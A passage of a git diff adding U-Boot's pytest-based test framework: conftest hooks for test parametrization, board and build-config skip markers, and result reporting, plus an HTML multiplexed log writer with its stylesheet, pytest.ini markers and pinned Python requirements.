+ if name.endswith('_norun'):
+ continue
+
+ vals.append(f'{suite} {name}')
+
+ ids = ['ut_' + s.replace(' ', '_') for s in vals]
+ metafunc.parametrize(fixture_name, vals, ids=ids)
+
+def generate_config(metafunc, fixture_name):
+ """Provide parametrization for {env,brd}__ fixtures.
+
+ If a test function takes parameter(s) (fixture names) of the form brd__xxx
+ or env__xxx, the brd and env configuration dictionaries are consulted to
+ find the list of values to use for those parameters, and the test is
+ parametrized so that it runs once for each combination of values.
+
+ Args:
+ metafunc: The pytest test function.
+ fixture_name: The fixture name to test.
+
+ Returns:
+ Nothing.
+ """
+
+ subconfigs = {
+ 'brd': console.config.brd,
+ 'env': console.config.env,
+ }
+ parts = fixture_name.split('__')
+ if len(parts) < 2:
+ return
+ if parts[0] not in subconfigs:
+ return
+ subconfig = subconfigs[parts[0]]
+ vals = []
+ val = subconfig.get(fixture_name, [])
+ # If that exact name is a key in the data source:
+ if val:
+ # ... use the dict value as a single parameter value.
+ vals = (val, )
+ else:
+ # ... otherwise, see if there's a key that contains a list of
+ # values to use instead.
+ vals = subconfig.get(fixture_name+ 's', [])
+ def fixture_id(index, val):
+ try:
+ return val['fixture_id']
+ except:
+ return fixture_name + str(index)
+ ids = [fixture_id(index, val) for (index, val) in enumerate(vals)]
+ metafunc.parametrize(fixture_name, vals, ids=ids)
+
+def pytest_generate_tests(metafunc):
+ """pytest hook: parameterize test functions based on custom rules.
+
+ Check each test function parameter (fixture name) to see if it is one of
+ our custom names, and if so, provide the correct parametrization for that
+ parameter.
+
+ Args:
+ metafunc: The pytest test function.
+
+ Returns:
+ Nothing.
+ """
+ for fn in metafunc.fixturenames:
+ if fn == 'ut_subtest':
+ generate_ut_subtest(metafunc, fn, '/u-boot.sym')
+ continue
+ m_subtest = re.match('ut_(.)pl_subtest', fn)
+ if m_subtest:
+ spl_name = m_subtest.group(1)
+ generate_ut_subtest(
+ metafunc, fn, f'/{spl_name}pl/u-boot-{spl_name}pl.sym')
+ continue
+ generate_config(metafunc, fn)
+
+@pytest.fixture(scope='session')
+def u_boot_log(request):
+ """Generate the value of a test's log fixture.
+
+ Args:
+ request: The pytest request.
+
+ Returns:
+ The fixture value.
+ """
+
+ return console.log
+
+@pytest.fixture(scope='session')
+def u_boot_config(request):
+ """Generate the value of a test's u_boot_config fixture.
+
+ Args:
+ request: The pytest request.
+
+ Returns:
+ The fixture value.
+ """
+
+ return console.config
+
+@pytest.fixture(scope='function')
+def u_boot_console(request):
+ """Generate the value of a test's u_boot_console fixture.
+
+ Args:
+ request: The pytest request.
+
+ Returns:
+ The fixture value.
+ """
+
+ console.ensure_spawned()
+ return console
+
+anchors = {}
+tests_not_run = []
+tests_failed = []
+tests_xpassed = []
+tests_xfailed = []
+tests_skipped = []
+tests_warning = []
+tests_passed = []
+
+def pytest_itemcollected(item):
+ """pytest hook: Called once for each test found during collection.
+
+ This enables our custom result analysis code to see the list of all tests
+ that should eventually be run.
+
+ Args:
+ item: The item that was collected.
+
+ Returns:
+ Nothing.
+ """
+
+ tests_not_run.append(item.name)
+
+def cleanup():
+ """Clean up all global state.
+
+ Executed (via atexit) once the entire test process is complete. This
+ includes logging the status of all tests, and the identity of any failed
+ or skipped tests.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ if console:
+ console.close()
+ if log:
+ with log.section('Status Report', 'status_report'):
+ log.status_pass('%d passed' % len(tests_passed))
+ if tests_warning:
+ log.status_warning('%d passed with warning' % len(tests_warning))
+ for test in tests_warning:
+ anchor = anchors.get(test, None)
+ log.status_warning('... ' + test, anchor)
+ if tests_skipped:
+ log.status_skipped('%d skipped' % len(tests_skipped))
+ for test in tests_skipped:
+ anchor = anchors.get(test, None)
+ log.status_skipped('... ' + test, anchor)
+ if tests_xpassed:
+ log.status_xpass('%d xpass' % len(tests_xpassed))
+ for test in tests_xpassed:
+ anchor = anchors.get(test, None)
+ log.status_xpass('... ' + test, anchor)
+ if tests_xfailed:
+ log.status_xfail('%d xfail' % len(tests_xfailed))
+ for test in tests_xfailed:
+ anchor = anchors.get(test, None)
+ log.status_xfail('... ' + test, anchor)
+ if tests_failed:
+ log.status_fail('%d failed' % len(tests_failed))
+ for test in tests_failed:
+ anchor = anchors.get(test, None)
+ log.status_fail('... ' + test, anchor)
+ if tests_not_run:
+ log.status_fail('%d not run' % len(tests_not_run))
+ for test in tests_not_run:
+ anchor = anchors.get(test, None)
+ log.status_fail('... ' + test, anchor)
+ log.close()
+atexit.register(cleanup)
+
+def setup_boardspec(item):
+ """Process any 'boardspec' marker for a test.
+
+ Such a marker lists the set of board types that a test does/doesn't
+ support. If tests are being executed on an unsupported board, the test is
+ marked to be skipped.
+
+ Args:
+ item: The pytest test item.
+
+ Returns:
+ Nothing.
+ """
+
+ required_boards = []
+ for boards in item.iter_markers('boardspec'):
+ board = boards.args[0]
+ if board.startswith('!'):
+ if ubconfig.board_type == board[1:]:
+ pytest.skip('board "%s" not supported' % ubconfig.board_type)
+ return
+ else:
+ required_boards.append(board)
+ if required_boards and ubconfig.board_type not in required_boards:
+ pytest.skip('board "%s" not supported' % ubconfig.board_type)
+
+def setup_buildconfigspec(item):
+ """Process any 'buildconfigspec' marker for a test.
+
+ Such a marker lists some U-Boot configuration feature that the test
+ requires. If tests are being executed on an U-Boot build that doesn't
+ have the required feature, the test is marked to be skipped.
+
+ Args:
+ item: The pytest test item.
+
+ Returns:
+ Nothing.
+ """
+
+ for options in item.iter_markers('buildconfigspec'):
+ option = options.args[0]
+ if not ubconfig.buildconfig.get('config_' + option.lower(), None):
+ pytest.skip('.config feature "%s" not enabled' % option.lower())
+ for options in item.iter_markers('notbuildconfigspec'):
+ option = options.args[0]
+ if ubconfig.buildconfig.get('config_' + option.lower(), None):
+ pytest.skip('.config feature "%s" enabled' % option.lower())
+
+def tool_is_in_path(tool):
+ for path in os.environ["PATH"].split(os.pathsep):
+ fn = os.path.join(path, tool)
+ if os.path.isfile(fn) and os.access(fn, os.X_OK):
+ return True
+ return False
+
+def setup_requiredtool(item):
+ """Process any 'requiredtool' marker for a test.
+
+ Such a marker lists some external tool (binary, executable, application)
+ that the test requires. If tests are being executed on a system that
+ doesn't have the required tool, the test is marked to be skipped.
+
+ Args:
+ item: The pytest test item.
+
+ Returns:
+ Nothing.
+ """
+
+ for tools in item.iter_markers('requiredtool'):
+ tool = tools.args[0]
+ if not tool_is_in_path(tool):
+ pytest.skip('tool "%s" not in $PATH' % tool)
+
+def setup_singlethread(item):
+ """Process any 'singlethread' marker for a test.
+
+ Skip this test if running in parallel.
+
+ Args:
+ item: The pytest test item.
+
+ Returns:
+ Nothing.
+ """
+ for single in item.iter_markers('singlethread'):
+ worker_id = os.environ.get("PYTEST_XDIST_WORKER")
+ if worker_id and worker_id != 'master':
+ pytest.skip('must run single-threaded')
+
+def start_test_section(item):
+ anchors[item.name] = log.start_section(item.name)
+
+def pytest_runtest_setup(item):
+ """pytest hook: Configure (set up) a test item.
+
+ Called once for each test to perform any custom configuration. This hook
+ is used to skip the test if certain conditions apply.
+
+ Args:
+ item: The pytest test item.
+
+ Returns:
+ Nothing.
+ """
+
+ start_test_section(item)
+ setup_boardspec(item)
+ setup_buildconfigspec(item)
+ setup_requiredtool(item)
+ setup_singlethread(item)
+
+def pytest_runtest_protocol(item, nextitem):
+ """pytest hook: Called to execute a test.
+
+ This hook wraps the standard pytest runtestprotocol() function in order
+ to acquire visibility into, and record, each test function's result.
+
+ Args:
+ item: The pytest test item to execute.
+ nextitem: The pytest test item that will be executed after this one.
+
+ Returns:
+ A list of pytest reports (test result data).
+ """
+
+ log.get_and_reset_warning()
+ ihook = item.ihook
+ ihook.pytest_runtest_logstart(nodeid=item.nodeid, location=item.location)
+ reports = runtestprotocol(item, nextitem=nextitem)
+ ihook.pytest_runtest_logfinish(nodeid=item.nodeid, location=item.location)
+ was_warning = log.get_and_reset_warning()
+
+ # In pytest 3, runtestprotocol() may not call pytest_runtest_setup() if
+ # the test is skipped. That call is required to create the test's section
+ # in the log file. The call to log.end_section() requires that the log
+ # contain a section for this test. Create a section for the test if it
+ # doesn't already exist.
+ if not item.name in anchors:
+ start_test_section(item)
+
+ failure_cleanup = False
+ if not was_warning:
+ test_list = tests_passed
+ msg = 'OK'
+ msg_log = log.status_pass
+ else:
+ test_list = tests_warning
+ msg = 'OK (with warning)'
+ msg_log = log.status_warning
+ for report in reports:
+ if report.outcome == 'failed':
+ if hasattr(report, 'wasxfail'):
+ test_list = tests_xpassed
+ msg = 'XPASSED'
+ msg_log = log.status_xpass
+ else:
+ failure_cleanup = True
+ test_list = tests_failed
+ msg = 'FAILED:\n' + str(report.longrepr)
+ msg_log = log.status_fail
+ break
+ if report.outcome == 'skipped':
+ if hasattr(report, 'wasxfail'):
+ failure_cleanup = True
+ test_list = tests_xfailed
+ msg = 'XFAILED:\n' + str(report.longrepr)
+ msg_log = log.status_xfail
+ break
+ test_list = tests_skipped
+ msg = 'SKIPPED:\n' + str(report.longrepr)
+ msg_log = log.status_skipped
+
+ if failure_cleanup:
+ console.drain_console()
+
+ test_list.append(item.name)
+ tests_not_run.remove(item.name)
+
+ try:
+ msg_log(msg)
+ except:
+ # If something went wrong with logging, it's better to let the test
+ # process continue, which may report other exceptions that triggered
+ # the logging issue (e.g. console.log wasn't created). Hence, just
+ # squash the exception. If the test setup failed due to e.g. syntax
+ # error somewhere else, this won't be seen. However, once that issue
+ # is fixed, if this exception still exists, it will then be logged as
+ # part of the test's stdout.
+ import traceback
+ print('Exception occurred while logging runtest status:')
+ traceback.print_exc()
+ # FIXME: Can we force a test failure here?
+
+ log.end_section(item.name)
+
+ if failure_cleanup:
+ console.cleanup_spawn()
+
+ return True
diff --git a/test/py/multiplexed_log.css b/test/py/multiplexed_log.css
new file mode 100644
index 00000000000..3db99272235
--- /dev/null
+++ b/test/py/multiplexed_log.css
@@ -0,0 +1,108 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+/*
+ * Copyright (c) 2015 Stephen Warren
+ * Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+ */
+
+/*
+ * This provides pretty formatting of the HTML log file, e.g.
+ * - colored bars beside/above log sections for easily parsed delineation.
+ * - color highlighting of various messages.
+ */
+
+body {
+ background-color: black;
+ color: #ffffff;
+}
+
+pre {
+ margin-top: 0px;
+ margin-bottom: 0px;
+}
+
+.implicit {
+ color: #808080;
+}
+
+.block {
+ border-style: solid;
+ border-color: #303030;
+ border-width: 0px 0px 0px 5px;
+ padding-left: 5px
+}
+
+.block-header {
+ background-color: #303030;
+ margin-left: -5px;
+ margin-top: 5px;
+}
+
+.block-header:hover {
+ text-decoration: underline;
+}
+
+.block-trailer {
+ display: none;
+}
+
+.error {
+ color: #ff0000
+}
+
+.warning {
+ color: #ffff00
+}
+
+.info {
+ color: #808080
+}
+
+.action {
+ color: #8080ff
+}
+
+.timestamp {
+ color: #8080ff
+}
+
+.status-pass {
+ color: #00ff00
+}
+
+.status-warning {
+ color: #ffff00
+}
+
+.status-skipped {
+ color: #ffff00
+}
+
+.status-xfail {
+ color: #ff7f00
+}
+
+.status-xpass {
+ color: #ff7f00
+}
+
+.status-fail {
+ color: #ff0000
+}
+
+.hidden {
+ display: none;
+}
+
+a:link {
+ text-decoration: inherit;
+ color: inherit;
+}
+
+a:visited {
+ text-decoration: inherit;
+ color: inherit;
+}
+
+a:hover {
+ text-decoration: underline;
+}
diff --git a/test/py/multiplexed_log.py b/test/py/multiplexed_log.py
new file mode 100644
index 00000000000..63237594bb4
--- /dev/null
+++ b/test/py/multiplexed_log.py
@@ -0,0 +1,714 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+"""
+Generate an HTML-formatted log file containing multiple streams of data,
+each represented in a well-delineated/-structured fashion.
+"""
+
+import datetime
+import html
+import os.path
+import shutil
+import subprocess
+
+mod_dir = os.path.dirname(os.path.abspath(__file__))
+
+class LogfileStream(object):
+ """A file-like object used to write a single logical stream of data into
+ a multiplexed log file. Objects of this type should be created by factory
+ functions in the Logfile class rather than directly."""
+
+ def __init__(self, logfile, name, chained_file):
+ """Initialize a new object.
+
+ Args:
+ logfile: The Logfile object to log to.
+ name: The name of this log stream.
+ chained_file: The file-like object to which all stream data should be
+ logged to in addition to logfile. Can be None.
+
+ Returns:
+ Nothing.
+ """
+
+ self.logfile = logfile
+ self.name = name
+ self.chained_file = chained_file
+
+ def close(self):
+ """Dummy function so that this class is "file-like".
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ pass
+
+ def write(self, data, implicit=False):
+ """Write data to the log stream.
+
+ Args:
+ data: The data to write to the file.
+ implicit: Boolean indicating whether data actually appeared in the
+ stream, or was implicitly generated. A valid use-case is to
+ repeat a shell prompt at the start of each separate log
+ section, which makes the log sections more readable in
+ isolation.
+
+ Returns:
+ Nothing.
+ """
+
+ self.logfile.write(self, data, implicit)
+ if self.chained_file:
+ # Chained file is console, convert things a little
+ self.chained_file.write((data.encode('ascii', 'replace')).decode())
+
+ def flush(self):
+ """Flush the log stream, to ensure correct log interleaving.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ self.logfile.flush()
+ if self.chained_file:
+ self.chained_file.flush()
+
+class RunAndLog(object):
+ """A utility object used to execute sub-processes and log their output to
+ a multiplexed log file. Objects of this type should be created by factory
+ functions in the Logfile class rather than directly."""
+
+ def __init__(self, logfile, name, chained_file):
+ """Initialize a new object.
+
+ Args:
+ logfile: The Logfile object to log to.
+ name: The name of this log stream or sub-process.
+ chained_file: The file-like object to which all stream data should
+ be logged to in addition to logfile. Can be None.
+
+ Returns:
+ Nothing.
+ """
+
+ self.logfile = logfile
+ self.name = name
+ self.chained_file = chained_file
+ self.output = None
+ self.exit_status = None
+
+ def close(self):
+ """Clean up any resources managed by this object."""
+ pass
+
+ def run(self, cmd, cwd=None, ignore_errors=False, stdin=None, env=None):
+ """Run a command as a sub-process, and log the results.
+
+ The output is available at self.output which can be useful if there is
+ an exception.
+
+ Args:
+ cmd: The command to execute.
+ cwd: The directory to run the command in. Can be None to use the
+ current directory.
+ ignore_errors: Indicate whether to ignore errors. If True, the
+ function will simply return if the command cannot be executed
+ or exits with an error code, otherwise an exception will be
+ raised if such problems occur.
+ stdin: Input string to pass to the command as stdin (or None)
+ env: Environment to use, or None to use the current one
+
+ Returns:
+ The output as a string.
+ """
+
+ msg = '+' + ' '.join(cmd) + '\n'
+ if self.chained_file:
+ self.chained_file.write(msg)
+ self.logfile.write(self, msg)
+
+ try:
+ p = subprocess.Popen(cmd, cwd=cwd,
+ stdin=subprocess.PIPE if stdin else None,
+ stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
+ (stdout, stderr) = p.communicate(input=stdin)
+ if stdout is not None:
+ stdout = stdout.decode('utf-8')
+ if stderr is not None:
+ stderr = stderr.decode('utf-8')
+ output = ''
+ if stdout:
+ if stderr:
+ output += 'stdout:\n'
+ output += stdout
+ if stderr:
+ if stdout:
+ output += 'stderr:\n'
+ output += stderr
+ exit_status = p.returncode
+ exception = None
+ except subprocess.CalledProcessError as cpe:
+ output = cpe.output
+ exit_status = cpe.returncode
+ exception = cpe
+ except Exception as e:
+ output = ''
+ exit_status = 0
+ exception = e
+ if output and not output.endswith('\n'):
+ output += '\n'
+ if exit_status and not exception and not ignore_errors:
+ exception = ValueError('Exit code: ' + str(exit_status))
+ if exception:
+ output += str(exception) + '\n'
+ self.logfile.write(self, output)
+ if self.chained_file:
+ self.chained_file.write(output)
+ self.logfile.timestamp()
+
+ # Store the output so it can be accessed if we raise an exception.
+ self.output = output
+ self.exit_status = exit_status
+ if exception:
+ raise exception
+ return output
+
+class SectionCtxMgr:
+ """A context manager for Python's "with" statement, which allows a certain
+ portion of test code to be logged to a separate section of the log file.
+ Objects of this type should be created by factory functions in the Logfile
+ class rather than directly."""
+
+ def __init__(self, log, marker, anchor):
+ """Initialize a new object.
+
+ Args:
+ log: The Logfile object to log to.
+ marker: The name of the nested log section.
+ anchor: The anchor value to pass to start_section().
+
+ Returns:
+ Nothing.
+ """
+
+ self.log = log
+ self.marker = marker
+ self.anchor = anchor
+
+ def __enter__(self):
+ self.anchor = self.log.start_section(self.marker, self.anchor)
+
+ def __exit__(self, extype, value, traceback):
+ self.log.end_section(self.marker)
+
+class Logfile:
+ """Generates an HTML-formatted log file containing multiple streams of
+ data, each represented in a well-delineated/-structured fashion."""
+
+ def __init__(self, fn):
+ """Initialize a new object.
+
+ Args:
+ fn: The filename to write to.
+
+ Returns:
+ Nothing.
+ """
+
+ self.f = open(fn, 'wt', encoding='utf-8')
+ self.last_stream = None
+ self.blocks = []
+ self.cur_evt = 1
+ self.anchor = 0
+ self.timestamp_start = self._get_time()
+ self.timestamp_prev = self.timestamp_start
+ self.timestamp_blocks = []
+ self.seen_warning = False
+
+ shutil.copy(mod_dir + '/multiplexed_log.css', os.path.dirname(fn))
+ self.f.write('''\
+<html>
+<head>
+<link rel="stylesheet" type="text/css" href="multiplexed_log.css">
+<script src="http://code.jquery.com/jquery.min.js"></script>
+<script>
+$(document).ready(function () {
+ // Copy status report HTML to start of log for easy access
+ sts = $(".block#status_report")[0].outerHTML;
+ $("tt").prepend(sts);
+
+ // Add expand/contract buttons to all block headers
+ btns = "<span class=\\\"block-expand hidden\\\">[+] </span>" +
+ "<span class=\\\"block-contract\\\">[-] </span>";
+ $(".block-header").prepend(btns);
+
+ // Pre-contract all blocks which passed, leaving only problem cases
+ // expanded, to highlight issues the user should look at.
+ // Only top-level blocks (sections) should have any status
+ passed_bcs = $(".block-content:has(.status-pass)");
+ // Some blocks might have multiple status entries (e.g. the status
+ // report), so take care not to hide blocks with partial success.
+ passed_bcs = passed_bcs.not(":has(.status-fail)");
+ passed_bcs = passed_bcs.not(":has(.status-xfail)");
+ passed_bcs = passed_bcs.not(":has(.status-xpass)");
+ passed_bcs = passed_bcs.not(":has(.status-skipped)");
+ passed_bcs = passed_bcs.not(":has(.status-warning)");
+ // Hide the passed blocks
+ passed_bcs.addClass("hidden");
+ // Flip the expand/contract button hiding for those blocks.
+ bhs = passed_bcs.parent().children(".block-header")
+ bhs.children(".block-expand").removeClass("hidden");
+ bhs.children(".block-contract").addClass("hidden");
+
+ // Add click handler to block headers.
+ // The handler expands/contracts the block.
+ $(".block-header").on("click", function (e) {
+ var header = $(this);
+ var content = header.next(".block-content");
+ var expanded = !content.hasClass("hidden");
+ if (expanded) {
+ content.addClass("hidden");
+ header.children(".block-expand").first().removeClass("hidden");
+ header.children(".block-contract").first().addClass("hidden");
+ } else {
+ header.children(".block-contract").first().removeClass("hidden");
+ header.children(".block-expand").first().addClass("hidden");
+ content.removeClass("hidden");
+ }
+ });
+
+ // When clicking on a link, expand the target block
+ $("a").on("click", function (e) {
+ var block = $($(this).attr("href"));
+ var header = block.children(".block-header");
+ var content = block.children(".block-content").first();
+ header.children(".block-contract").first().removeClass("hidden");
+ header.children(".block-expand").first().addClass("hidden");
+ content.removeClass("hidden");
+ });
+});
+</script>
+</head>
+<body>
+<tt>
+''')
+
+ def close(self):
+ """Close the log file.
+
+ After calling this function, no more data may be written to the log.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ self.f.write('''\
+</tt>
+</body>
+</html>
+''')
+ self.f.close()
+
+ # The set of characters that should be represented as hexadecimal codes in
+ # the log file.
+ _nonprint = {ord('%')}
+ _nonprint.update(c for c in range(0, 32) if c not in (9, 10))
+ _nonprint.update(range(127, 256))
+
+ def _escape(self, data):
+ """Render data format suitable for inclusion in an HTML document.
+
+ This includes HTML-escaping certain characters, and translating
+ control characters to a hexadecimal representation.
+
+ Args:
+ data: The raw string data to be escaped.
+
+ Returns:
+ An escaped version of the data.
+ """
+
+ data = data.replace(chr(13), '')
+ data = ''.join((ord(c) in self._nonprint) and ('%%%02x' % ord(c)) or
+ c for c in data)
+ data = html.escape(data)
+ return data
+
+ def _terminate_stream(self):
+ """Write HTML to the log file to terminate the current stream's data.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ self.cur_evt += 1
+ if not self.last_stream:
+ return
+ self.f.write('</pre>\n')
+ self.f.write('<div class="stream-trailer block-trailer">End stream: ' +
+ self.last_stream.name + '</div>\n')
+ self.f.write('</div>\n')
+ self.f.write('</div>\n')
+ self.last_stream = None
+
+ def _note(self, note_type, msg, anchor=None):
+ """Write a note or one-off message to the log file.
+
+ Args:
+ note_type: The type of note. This must be a value supported by the
+ accompanying multiplexed_log.css.
+ msg: The note/message to log.
+ anchor: Optional internal link target.
+
+ Returns:
+ Nothing.
+ """
+
+ self._terminate_stream()
+ self.f.write('<div class="' + note_type + '">\n')
+ self.f.write('<pre>')
+ if anchor:
+ self.f.write('<a href="#%s">' % anchor)
+ self.f.write(self._escape(msg))
+ if anchor:
+ self.f.write('</a>')
+ self.f.write('\n</pre>\n')
+ self.f.write('</div>\n')
+
+ def start_section(self, marker, anchor=None):
+ """Begin a new nested section in the log file.
+
+ Args:
+ marker: The name of the section that is starting.
+ anchor: The value to use for the anchor. If None, a unique value
+ will be calculated and used
+
+ Returns:
+ Name of the HTML anchor emitted before section.
+ """
+
+ self._terminate_stream()
+ self.blocks.append(marker)
+ self.timestamp_blocks.append(self._get_time())
+ if not anchor:
+ self.anchor += 1
+ anchor = str(self.anchor)
+ blk_path = '/'.join(self.blocks)
+ self.f.write('<div class="section block" id="' + anchor + '">\n')
+ self.f.write('<div class="section-header block-header">Section: ' +
+ blk_path + '</div>\n')
+ self.f.write('<div class="section-content block-content">\n')
+ self.timestamp()
+
+ return anchor
+
+ def end_section(self, marker):
+ """Terminate the current nested section in the log file.
+
+ This function validates proper nesting of start_section() and
+ end_section() calls. If a mismatch is found, an exception is raised.
+
+ Args:
+ marker: The name of the section that is ending.
+
+ Returns:
+ Nothing.
+ """
+
+ if (not self.blocks) or (marker != self.blocks[-1]):
+ raise Exception('Block nesting mismatch: "%s" "%s"' %
+ (marker, '/'.join(self.blocks)))
+ self._terminate_stream()
+ timestamp_now = self._get_time()
+ timestamp_section_start = self.timestamp_blocks.pop()
+ delta_section = timestamp_now - timestamp_section_start
+ self._note("timestamp",
+ "TIME: SINCE-SECTION: " + str(delta_section))
+ blk_path = '/'.join(self.blocks)
+ self.f.write('<div class="section-trailer block-trailer">' +
+ 'End section: ' + blk_path + '</div>\n')
+ self.f.write('</div>\n')
+ self.f.write('</div>\n')
+ self.blocks.pop()
+
+ def section(self, marker, anchor=None):
+ """Create a temporary section in the log file.
+
+ This function creates a context manager for Python's "with" statement,
+ which allows a certain portion of test code to be logged to a separate
+ section of the log file.
+
+ Usage:
+ with log.section("somename"):
+ some test code
+
+ Args:
+ marker: The name of the nested section.
+ anchor: The anchor value to pass to start_section().
+
+ Returns:
+ A context manager object.
+ """
+
+ return SectionCtxMgr(self, marker, anchor)
+
+ def error(self, msg):
+ """Write an error note to the log file.
+
+ Args:
+ msg: A message describing the error.
+
+ Returns:
+ Nothing.
+ """
+
+ self._note("error", msg)
+
+ def warning(self, msg):
+ """Write an warning note to the log file.
+
+ Args:
+ msg: A message describing the warning.
+
+ Returns:
+ Nothing.
+ """
+
+ self.seen_warning = True
+ self._note("warning", msg)
+
+ def get_and_reset_warning(self):
+ """Get and reset the log warning flag.
+
+ Args:
+ None
+
+ Returns:
+ Whether a warning was seen since the last call.
+ """
+
+ ret = self.seen_warning
+ self.seen_warning = False
+ return ret
+
+ def info(self, msg):
+ """Write an informational note to the log file.
+
+ Args:
+ msg: An informational message.
+
+ Returns:
+ Nothing.
+ """
+
+ self._note("info", msg)
+
+ def action(self, msg):
+ """Write an action note to the log file.
+
+ Args:
+ msg: A message describing the action that is being logged.
+
+ Returns:
+ Nothing.
+ """
+
+ self._note("action", msg)
+
+ def _get_time(self):
+ return datetime.datetime.now()
+
+ def timestamp(self):
+ """Write a timestamp to the log file.
+
+ Args:
+ None
+
+ Returns:
+ Nothing.
+ """
+
+ timestamp_now = self._get_time()
+ delta_prev = timestamp_now - self.timestamp_prev
+ delta_start = timestamp_now - self.timestamp_start
+ self.timestamp_prev = timestamp_now
+
+ self._note("timestamp",
+ "TIME: NOW: " + timestamp_now.strftime("%Y/%m/%d %H:%M:%S.%f"))
+ self._note("timestamp",
+ "TIME: SINCE-PREV: " + str(delta_prev))
+ self._note("timestamp",
+ "TIME: SINCE-START: " + str(delta_start))
+
+ def status_pass(self, msg, anchor=None):
+ """Write a note to the log file describing test(s) which passed.
+
+ Args:
+ msg: A message describing the passed test(s).
+ anchor: Optional internal link target.
+
+ Returns:
+ Nothing.
+ """
+
+ self._note("status-pass", msg, anchor)
+
+ def status_warning(self, msg, anchor=None):
+ """Write a note to the log file describing test(s) which passed.
+
+ Args:
+ msg: A message describing the passed test(s).
+ anchor: Optional internal link target.
+
+ Returns:
+ Nothing.
+ """
+
+ self._note("status-warning", msg, anchor)
+
+ def status_skipped(self, msg, anchor=None):
+ """Write a note to the log file describing skipped test(s).
+
+ Args:
+ msg: A message describing the skipped test(s).
+ anchor: Optional internal link target.
+
+ Returns:
+ Nothing.
+ """
+
+ self._note("status-skipped", msg, anchor)
+
+ def status_xfail(self, msg, anchor=None):
+ """Write a note to the log file describing xfailed test(s).
+
+ Args:
+ msg: A message describing the xfailed test(s).
+ anchor: Optional internal link target.
+
+ Returns:
+ Nothing.
+ """
+
+ self._note("status-xfail", msg, anchor)
+
+ def status_xpass(self, msg, anchor=None):
+ """Write a note to the log file describing xpassed test(s).
+
+ Args:
+ msg: A message describing the xpassed test(s).
+ anchor: Optional internal link target.
+
+ Returns:
+ Nothing.
+ """
+
+ self._note("status-xpass", msg, anchor)
+
+ def status_fail(self, msg, anchor=None):
+ """Write a note to the log file describing failed test(s).
+
+ Args:
+ msg: A message describing the failed test(s).
+ anchor: Optional internal link target.
+
+ Returns:
+ Nothing.
+ """
+
+ self._note("status-fail", msg, anchor)
+
+ def get_stream(self, name, chained_file=None):
+ """Create an object to log a single stream's data into the log file.
+
+ This creates a "file-like" object that can be written to in order to
+ write a single stream's data to the log file. The implementation will
+ handle any required interleaving of data (from multiple streams) in
+ the log, in a way that makes it obvious which stream each bit of data
+ came from.
+
+ Args:
+ name: The name of the stream.
+ chained_file: The file-like object to which all stream data should
+ be logged to in addition to this log. Can be None.
+
+ Returns:
+ A file-like object.
+ """
+
+ return LogfileStream(self, name, chained_file)
+
+ def get_runner(self, name, chained_file=None):
+ """Create an object that executes processes and logs their output.
+
+ Args:
+ name: The name of this sub-process.
+ chained_file: The file-like object to which all stream data should
+ be logged to in addition to logfile. Can be None.
+
+ Returns:
+ A RunAndLog object.
+ """
+
+ return RunAndLog(self, name, chained_file)
+
+ def write(self, stream, data, implicit=False):
+ """Write stream data into the log file.
+
+ This function should only be used by instances of LogfileStream or
+ RunAndLog.
+
+ Args:
+ stream: The stream whose data is being logged.
+ data: The data to log.
+ implicit: Boolean indicating whether data actually appeared in the
+ stream, or was implicitly generated. A valid use-case is to
+ repeat a shell prompt at the start of each separate log
+ section, which makes the log sections more readable in
+ isolation.
+
+ Returns:
+ Nothing.
+ """
+
+ if stream != self.last_stream:
+ self._terminate_stream()
+ self.f.write('<div class="stream block">\n')
+ self.f.write('<div class="stream-header block-header">Stream: ' +
+ stream.name + '</div>\n')
+ self.f.write('<div class="stream-content block-content">\n')
+ self.f.write('<pre>')
+ if implicit:
+ self.f.write('<span class="implicit">')
+ self.f.write(self._escape(data))
+ if implicit:
+ self.f.write('</span>')
+ self.last_stream = stream
+
+ def flush(self):
+ """Flush the log stream, to ensure correct log interleaving.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ self.f.flush()
diff --git a/test/py/pytest.ini b/test/py/pytest.ini
new file mode 100644
index 00000000000..26d83f83e00
--- /dev/null
+++ b/test/py/pytest.ini
@@ -0,0 +1,14 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Static configuration data for pytest. pytest reads this at startup time.
+
+[pytest]
+markers =
+ boardspec: U-Boot: Describes the set of boards a test can/can't run on.
+ buildconfigspec: U-Boot: Describes Kconfig/config-header constraints.
+ notbuildconfigspec: U-Boot: Describes required disabled Kconfig options.
+ requiredtool: U-Boot: Required host tools for a test.
+ slow: U-Boot: Specific test will run slowly.
+ singlethread: Cannot run in parallel
diff --git a/test/py/requirements.txt b/test/py/requirements.txt
new file mode 100644
index 00000000000..0f67c3c6194
--- /dev/null
+++ b/test/py/requirements.txt
@@ -0,0 +1,30 @@
+atomicwrites==1.4.1
+attrs==19.3.0
+concurrencytest==0.1.2
+coverage==4.5.4
+extras==1.0.0
+filelock==3.0.12
+fixtures==3.0.0
+importlib-metadata==0.23
+linecache2==1.0.0
+more-itertools==7.2.0
+packaging==23.2
+pbr==5.4.3
+pluggy==0.13.0
+py==1.11.0
+pycryptodomex==3.19.1
+pyelftools==0.27
+pygit2==1.13.3
+pyparsing==3.0.7
+pytest==6.2.5
+pytest-xdist==2.5.0
+python-mimeparse==1.6.0
+python-subunit==1.3.0
+requests==2.31.0
+setuptools==65.5.1
+six==1.16.0
+testtools==2.3.0
+traceback2==1.4.0
+unittest2==1.1.0
+wcwidth==0.1.7
+zipp==0.6.0
diff --git a/test/py/test.py b/test/py/test.py
new file mode 100755
index 00000000000..7c477903d6b
--- /dev/null
+++ b/test/py/test.py
@@ -0,0 +1,24 @@
+#!/usr/bin/env python3
+# SPDX-License-Identifier: GPL-2.0
+
+# Copyright (c) 2015 Stephen Warren
